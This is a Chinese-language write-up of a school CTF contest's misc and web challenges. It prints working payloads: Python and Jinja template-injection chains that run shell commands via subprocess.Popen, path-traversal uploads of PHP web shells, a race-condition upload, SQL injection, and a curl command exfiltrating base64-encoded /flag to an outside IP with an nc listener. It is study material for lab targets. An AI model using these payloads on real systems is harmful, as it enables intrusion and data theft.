校赛题解

Misc

先来签个到吧

点击链接,百度网盘提取,看视频

看到要到一半的时候会突然闪过一个二维码,于是就是见手速的时候了,在这几秒疯狂疯狂暂停,最终暂停到了二维码处,扫码得到flag

爬山

给了一张图片

打开kali,在终端输入命令:exiftool 图片名,得到图片的具体信息,最后几行是拍摄的经纬度:24 deg 30' 17.30" N;118 deg 3' 20.03" E,拿给gpt稍修一下得到:24°30'17"N 118°3'20"E,把该坐标拿到谷歌地球中搜索一下,发现位于厦门市海沧区的一个公园附近,已知小涂是小学生,上的是小学,开始社工,启动高德地图,搜索海沧区小学,把搜索到的小学名一个个输进去,最后得到是天堂山小学

web

ezzzzzzzzz_PTA

进入环境发现要让我们写python代码,盲猜ssti漏洞

开始测试,首先输入 print([].__class__.__base__.__subclasses__())得到所有的子类,然后发现我要使用的<class 'subprocess.Popen'>位于最后一个507,于是我们输入payload:[].__class__.__base__.__subclasses__()[507]('ls /',shell=True,stdout=-1).communicate()[0].strip()

发现flag位于根目录处,继续 [].__class__.__base__.__subclasses__()[507]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()得到flag

Potato_Netdisk

下载附件,得到源码,最开始是查看fileUpload.php,在文件上传那边使劲尝试目录穿越,也将..进行编码后进行上传,但无论怎样操作还是不行,想着文件会先存在临时目录中 /tmp/upload下面,tmp目录位于根目录处,当时想着临时存储和删掉文件之间会有一定的时间,想着条件竞争进行文件上传,但最终还是失败了

之后查看dirUpload.php文件,发现了以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function validateFilePath($path): void
{
if(str_contains($path,'..'.DIRECTORY_SEPARATOR) || str_contains($path,'/var/www/html')){
http_response_code(403);
die("非法上传路径!".'<br>'.$path);
}
}
function normalizeFilePath($path): string
{
if(strpos($_SERVER['HTTP_USER_AGENT'], 'Windows')){
return str_replace('\\','/',$path);
}
return $path;
}

以及

1
2
3
4
5
6
7
8
if($_SERVER['REQUEST_METHOD'] === 'POST'){

foreach ($_FILES['file']['tmp_name'] as $key => $tmp_name){
$dest = UPLOAD_DIR.$_FILES['file']['full_path'][$key];
validateFilePath($dest);
uploadFile($tmp_name, normalizeFilePath($dest));
}
}

上传的文件夹是先检测是否有非法路径然后再把 \改成 /,检测的函数用的是str_contains,所以我们可以有这样的绕过,用bp抓包,把上传的文件名改为..\..\..\..\var\www\html\shel.php,上传成功,文件内容为<?php system('ls /');?>

由于我们访问http://121.43.34.239:20017/index.php,就相当于访问/var/www/html/index.php,所以我们要访问上传的文件就是要访问http://121.43.34.239:20017/shell.php,得到根目录下的文件,接着把文件内容改为<?php system('cat /flag');?>,得到我们所需要的flag

Potato_Netdisk_v2.0

有了上题的经验,这题我们直接看dirUpload.php,发现了与第一题不一样的地方,如下:

1
2
3
4
5
6
7
function validateFilePath($path): void
{
if(str_contains($path,'..'.DIRECTORY_SEPARATOR) || preg_match('/var.www.html/',$path)){
http_response_code(403);
die("非法上传路径!".'<br>'.$path);
}
}

发现了preg_match('/var.www.html/',$path),正则表达式中的.表示匹配任意字符,所以按照上一题的思路绕过的话是行不通的,然后想到了可以通过通配符来进行绕过,页面是会显示文件成功上传,但是会显示报错,所以这种思路也是不行的,后面进行条件竞争的时候会失败,继续思考想到了可以通过\var\www\.\html来进行绕过,文件成功上传,并且没有报错

再看到如下的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//清除网页目录下的其他文件
function cleanup($dir): void
{
global $file_whitelist;
$files = scandir($dir);
$files = array_diff($files,$file_whitelist);
foreach ($files as $file){
$path = $dir.'/'.$file;
@unlink($path);
}
}


if($_SERVER['REQUEST_METHOD'] === 'POST'){

foreach ($_FILES['file']['tmp_name'] as $key => $tmp_name){
$dest = UPLOAD_DIR.$_FILES['file']['full_path'][$key];
validateFilePath($dest);
uploadFile($tmp_name, normalizeFilePath($dest));
}
cleanup(__DIR__);
}

发现在文件成功上传之后,会清除掉除了白名单外的其他所有文件,白名单如下:

1
2
3
4
5
6
7
8
file_whitelist = array(
'.',
'..',
'index.php',
'config.php',
'dirUpload.php',
'fileUpload.php'
);

可以发现,在文件成功上传和删除之间存在时间差,可以利用条件竞争,分别用bp抓/dirUpload.php(上传文件)以及 /shell.php(用来访问所上传的文件)

上传文件的条目先发送到重放器中,修改filename为..\..\..\..\var\www\.\html\shell.php,上传文件的内容为<?php system('cat /flag');?>,接着把两个都放到intruder模块下来,选择无payload,两边一起开始攻击,然后查看访问文件的那个,发现状态码为200,成功访问,得到flag

can_u_find_me

1
2
3
4
5
6
7
8
9
10
11
12
blacklist = ['_', '[', 'globals', 'url_for', 'count', 'length', 'init', 'request', 'builtins', 'select', 'dict', '(','join', 'import', 'os', '{', 'open', 'eval', 'set', '%', 'for', 'class', '\'', '\"', 'chr', 'attr', '|']

def waf(s):
for i in blacklist:
if i in s.split('/')[-1]:
return s + '?hacker'
return render_template_string(s)

@app.errorhandler(404)
def page_not_found(e):
url = waf(request.url)
return render_template('404.html', error_page=url), 404

上面黑名单中把所有有可能的ssti操作全部过滤掉了,但是我们可以看到函数waf的定义,它只检测url中的最后一个/后面的内容,所以我们可以向url中多输入几个,比如:/{{7*7}}/a,可以发现成功执行ssti的相关代码,然后我们就可以直接进行无任何waf的ssti操作了,但是要注意这里的话不能直接输入空格,可以用${IFS}来进行代替

输入/{{[].__class__.__base__.__subclasses__()}}/a,得到所有的子类,找到我们需要的(当然也可以用脚本来执行)

接着/{{[].__class__.__base__.__subclasses__()[519]('ls${IFS}/',shell=True,stdout=-1).communicate()[0].strip()}}/a爆出根目录下的所有文件

/{{[].__class__.__base__.__subclasses__()[519]('cat${IFS}/flag',shell=True,stdout=-1).communicate()[0].strip()}}/a得到flag

最后成功得到flag

EatPotato!

首先利用题目给我们提供的网站(https://xcheck.tencent.com/index)来分析一下哪里有漏洞

image-20240414162846575

于是我们到源码文件夹中去找寻这行代码,如下:

1
2
$score_sql = "SELECT `score`,`time`,`attempts` FROM " . $ranking . " where name='" . $_SESSION['name'] . "'";
$score_result = $link->query($score_sql);

这⾥有两处拼接, $ranking 变量和 $_SESSION['name'] 变量,利⽤phpstorm的跟进快捷键 (Ctrl+b),我们可以看到ranking变量实际上是定值,再查看name变量,得到以下结果:

1
2
3
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}

先注册一个账号,然后打个游戏,后面去查看排行榜,发现url为http://localhost:20010/rank.php?name=sherlock,开始尝试注入,单引号包裹,报错注入,得到flag

被你们玩坏了的ping

这一题没有回显数据,所以我们可以采用外带数据的方法或者将文件内容写入静态目录进行查看的办法

第一种为外带

首先监听端口:nc -lvnp 7890

然后在题目提供的框框中输入:

1
curl http://124.70.99.199:7890/?a=`cat /flag | base64`

然后查看监听的内容

第二种方法就是写入静态目录

cat /flag > static/res.txt,然后直接访问/static/res.txt即可得到flag

PTA-max